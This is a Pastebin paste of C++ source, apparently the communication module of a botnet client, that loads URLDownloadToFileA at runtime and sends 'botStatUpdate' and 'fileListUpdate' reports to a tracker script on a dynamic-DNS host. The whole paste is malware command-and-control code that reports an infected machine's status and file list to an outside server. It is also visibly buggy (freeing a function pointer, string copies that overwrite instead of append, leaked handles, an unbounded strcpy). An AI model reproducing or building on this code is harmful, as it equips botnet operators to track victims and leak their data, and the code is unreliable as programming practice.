captmicro

Untitled

Feb 28th, 2010
226
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C++ 2.36 KB | None | 0 0
  1. //COMM.CPP
  2. #include "comm.h"
  3. #include "usefull.h"
  4.  
  5. HRESULT COMM_URLDownloadToFile(char *inURL, char *inFILE)
  6. {
  7.     HRESULT returnVal;
  8.     HMODULE library = LoadLibraryA("urlmon.dll");
  9.     _COMM_URLDownloadToFileA func;
  10.     func = (_COMM_URLDownloadToFileA)GetProcAddress(library, "URLDownloadToFileA");
  11.     returnVal = func(0, inURL, inFILE, 0, 0);
  12.     FreeLibrary(library);
  13.     free(func);
  14.     return returnVal;
  15. }
  16.  
  17. DWORD COMM_URLDownloadToTempFile(char *inURL)
  18. {
  19.     SAFECHAR2(tempname, 1024);
  20.     SAFECHAR2(temppath, 1024);
  21.     GetTempPathA(1024, temppath);
  22.     GetTempFileNameA(temppath, "blk", NULL, tempname);
  23.     if (COMM_URLDownloadToFile(inURL, tempname) == S_OK)
  24.     {
  25.         DeleteFileA(tempname);
  26.         return COMM_OK;
  27.     }
  28.     return COMM_GENERR;
  29. }
  30.  
  31. DWORD COMM_URlDownloadToString(char *inURL, char *outBUFF)
  32. {
  33.     HANDLE tempFile = INVALID_HANDLE_VALUE;
  34.     DWORD fileSize = NULL;
  35.     DWORD bytesRead = NULL;
  36.     SAFECHAR2(tempname, 1024);
  37.     SAFECHAR2(temppath, 1024);
  38.     GetTempPathA(1024, temppath);
  39.     GetTempFileNameA(temppath, "blk", NULL, tempname);
  40.     if (COMM_URLDownloadToFile(inURL, tempname) == S_OK)
  41.     {
  42.         tempFile = CreateFileA(tempname, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
  43.         if (tempFile == INVALID_HANDLE_VALUE) { return COMM_FILEERR; }
  44.         fileSize = GetFileSize(tempFile, &fileSize);
  45.         if (fileSize == NULL) { return COMM_FILEERR; }
  46.         SAFECHAR2(fileBuffer, fileSize+5);
  47.         if (ReadFile(tempFile, fileBuffer, fileSize, &bytesRead, NULL) == NULL) { return COMM_FILEERR; }
  48.         if (bytesRead == NULL) { return COMM_GENERR; }
  49.         fileBuffer[bytesRead] = '\0';
  50.         CloseHandle(tempFile);
  51.         strcpy(outBUFF, fileBuffer);
  52.     }
  53.     return COMM_OK;
  54. }
  55.  
  56. DWORD COMM_botUpdateStatus(char *status)
  57. {
  58.     DWORD ret = NULL;
  59.     SAFECHAR1(statURL, "http://microvnet0.ath,cx:6001/tracker.php?type=botStatUpdate&c=");
  60.     SAFECHAR2(statFURL, strlen(statURL)+strlen(status)+5);
  61.     lstrcpy(statFURL, statURL);
  62.     lstrcpy(statFURL, status);
  63.     ret = COMM_URLDownloadToTempFile(statFURL);
  64.     free(statURL);
  65.     free(statFURL);
  66.     return ret;
  67. }
  68.  
  69. DWORD COMM_botUpdateFiles(char *status)
  70. {
  71.     DWORD ret = NULL;
  72.     SAFECHAR1(statURL, "http://microvnet0.ath,cx:6001/tracker.php?type=fileListUpdate&c=");
  73.     SAFECHAR2(statFURL, strlen(statURL)+strlen(status)+5);
  74.     lstrcpy(statFURL, statURL);
  75.     lstrcpy(statFURL, status);
  76.     ret = COMM_URLDownloadToTempFile(statFURL);
  77.     free(statURL);
  78.     free(statFURL);
  79.     return ret;
  80. }
Add Comment
Please, Sign In to add comment